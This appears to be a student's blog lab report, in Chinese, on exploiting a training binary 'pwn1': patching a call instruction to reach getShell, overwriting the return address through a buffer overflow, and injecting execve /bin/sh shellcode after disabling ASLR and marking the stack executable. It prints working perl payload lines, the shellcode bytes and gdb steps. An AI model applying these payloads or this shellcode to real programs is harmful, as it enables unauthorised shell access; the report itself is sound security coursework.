木土金

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

 

实验目标:

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

实践的目标就是运行程序中另一代码片段getshell,学习如何注入运行任何shellcode。

 


 

  

实验任务:

一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

三、注入一个自己制作的shellcode并运行这段shellcode。

 


 

 

基础知识:

 

一、熟悉Linux基本操作

能看懂常用指令,如管道(|),输入、输出重定向(>)等。

二、理解Bof的原理。

能看得懂汇编、机器指令、EIP、指令地址。

三、会使用gdb,vi。

四、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

JE指令:条件转移指令,如果相等则跳转。

JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

 


 

实验一:直接修改程序机器指令,改变程序执行流程

 1.输入 cd 桌面 进入桌面目录,再输入 ./pwn1.1 执行文件pwn1.1。

输入123,发现程序返回123。

 

2.执行命令 objdump -d pwn1.1 ,对pwn1.1文件进行反汇编。

 

3.查看代码中的main、foo、getshell函数,如图中红框所示,位于080484af的main函数调用了位于08048491的foo函数。

 

foo函数的作用就是回显用户的输入,此为pwn1.1的正常功能。我们此时需要做的是修改主程序,使其运行下图红框所示的getshell函数。

分析main函数中指令:

如上图黄框中中所示机器指令为 e8 d7 ff ff ff , e8 为跳转的意思。即指main函数运行到地址80484b5时跳转至foo函数中,即执行地址“EIP+d7ffffff”的指令。

由于Intel x86在存储数据时采用小端方式,即低地址上存放低字节,高地址上存放高字节。因此按照人类读数方式,“d7ffffff”这个补码的正常读数方式为:ff ff ff d7,转换为十进制是-41(十六进制0x29),所以跳转到EIP + d7ffffff = 80484ba + d7ffffff= 80484ba-0x29 = 8048491处,发现结果正好是8048491这个值,即foo函数地址。

由此可知,我们只要修改 e8 后面的偏移量就可让main跳转至任意指定函数。此时我们需要执行getshell函数,及把 d7 ff ff ff 修改为“getshell地址(0804847d)-EIP(080484ba)”对应的补码就可以了。

补码的计算:

7d - ba = - 61 转换为二进制为 00111101 

负数的补码算法:逐位取反,末尾加一。

由此得11000011即c3。

注意:EIP为跳转指令的下一地址,即地址80484ba,而不是跳转指令本身。我在做实验的时候一直使用跳转指令为EIP。

 

4.修改pwn1.1,将其call指令目标地址由d7ffffff改为c3ffffff。

(1)使用vi编辑器打开pwn1.1文件,发现读不懂,输入 :%!xxd ,将显示模式切换为16进制模式。

  

(2)直接输入 /e8 d7 ,查找需要修改的内容。

(3)找到需要修改的位置后,按回车键,按i键进入编辑模式,把d7修改为c3,按esc键退出编辑模式。

(4)输入 :%!xxd -r ,转换为原格式。

  

(5)输入 :wq ,保存并退出pwn1.1文件。

(6)在终端中输入 objdump -d pwn1.1 | more 反汇编pwn1.1文件,查看是否正确修改。

(7)运行修改后的文件,运行getshell函数。

 


 

 

 

实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

 缓冲区溢出:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。

本实验中要求构造指定字符串,使getshell函数的地址恰好溢出至EIP中,从而触发getshell函数。

 

1.在终端中输入指令  gdb pwn1.2 及  r ,使用gdb命令调试pwn1.2文件。尝试性地输入48位的字符串。

 

2.使用 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555,这就说明刚才输入的字符串中含有4个5的字符串溢出至EIP中。

 

小提示:字符串在EIP寄存器中以16位的ASCII码存储,并且从右至左读。

 

3.为精确判断字符串中溢出位置,将“55555555”替换为“12345678”,继续调试,观察哪几位数字溢出至EIP寄存器。

发现EIP寄存器为“0x34333231”,故“1234”这四个数最终覆盖到堆栈中的发挥地址,进而CPU会尝试运行这个位置的代码,只要我们把这四个字符改为getshell的内存地址,就可执行getshell函数。

 

4.通过实验一可知getshell函数的内存地址为0804847d,由于Intel x86在存储数据时采用小端方式,即低地址上存放低字节,高地址上存放高字节,所以输入的顺序应为 7d 84 04 08,代码中为\x7d\x84\04\08。由于我们没法通过键盘输入16进制值,所以需要生成一个包括这样字符串的文件(\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键)。

 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

 

5.使用16进制查看指令 xxd input 查看input文件的内容是否正确。

 

6.将input通过管道符“|”输入, (cat input; cat) | ./pwn1.2 ,最终获得shell。

 


 

实验三:注入一个自己制作的shellcode并运行这段shellcode

shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell。

此实践中使用实验指导里给出的shellcode,如下:

 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 

 

1.如下图修改配置

root@KaliYL:~# execstack -s pwn1.3    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1.3    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

 发现找不到execstack命令,输入命令 apt-get install execstack 进行安装。

 

2.构造需要注入的Payload

Linux下有两种基本构造攻击buf的方法:

(1)retaddr + nop + shellcode

(2)nop + shellcode + retaddr

由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面

缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

 

3.参考老师给的代码,构造一个input如下:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input 

 

 4.为确定\x4\x3\x2\x1到底该填什么,输入 (cat input;cat) | ./pwn1.3 注入这段攻击buf

 

5.打开另一终端,用gdb命令调试pwn1.3进程。

(1)输入 ps -ef | grep pwn1.3 查找pwn1.3文件进程号。

如图,pwn1.3的进程号为12235.

(2)输入 attach 12235 进行调试

(3)输入 disassemble foo 进行反汇编

(4)如图中黄框所示ret指令的地址为“0x080484ae”,输入 break *0x080484ae 设置断点

(5)在另一终端按回车,程序就在执行后在断点处停止

(6)在gdb调试端输入“c”继续运行程序

(7)输入 info r esp 查看esp寄存器地址

(8)输入 x/16x 0xffffd35c 以16进制形式查看0xffffd35c地址后面16字节的内容

由上图可知,“01020304”所在的地址为“0xffffd35c”,那么注入的shellcode代码的地址应该在ret指令地址后四个字节的位置,即 0xffffd35c + 0x00000004 = 0xffffd360 。退出gdb调试。

 

6.修改注入代码的覆盖地址

perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input 

 

7.输入命令 (cat input;cat) | ./pwn1.3 

 


 

实验收获与感想:

本次实验由我本人独立完成,中间遇到了些许小问题也主动请教同学而完成。通过本次实验,我学会了三种攻击的方法,这三种方法都是通过修改返回地址而跳转执行程序而完成,在做实验前,我对堆栈、寄存器、地址等概念和使用还处于一知半解的状态,但通过实验中的不断试错及查找资料,对计算机中的堆栈有了更深、更全面的理解,了解到了返回地址的位置、堆栈的溢出、溢出覆盖后的跳转等等知识,对我以后的工作及学习有很大帮助。

 


 

什么是漏洞?漏洞有什么危害?

 漏洞:漏洞就是程序员在编程时只考虑程序的功能实现,未考虑程序的安全性,或者考虑不全面而导致的程序缺陷,从而给不法分子可乘之机利用程序缺陷对程序及用户进行攻击和破坏。

 漏洞的危害:不法分子可以利用漏洞获取程序及用户信息、取得用户计算机权限、对设备进行未授权访问,可能造成资产及信息的损失,轻则危害个人,重则危害国家。

 

posted on 2019-03-16 17:38  木土金  阅读(294)  评论(0编辑  收藏  举报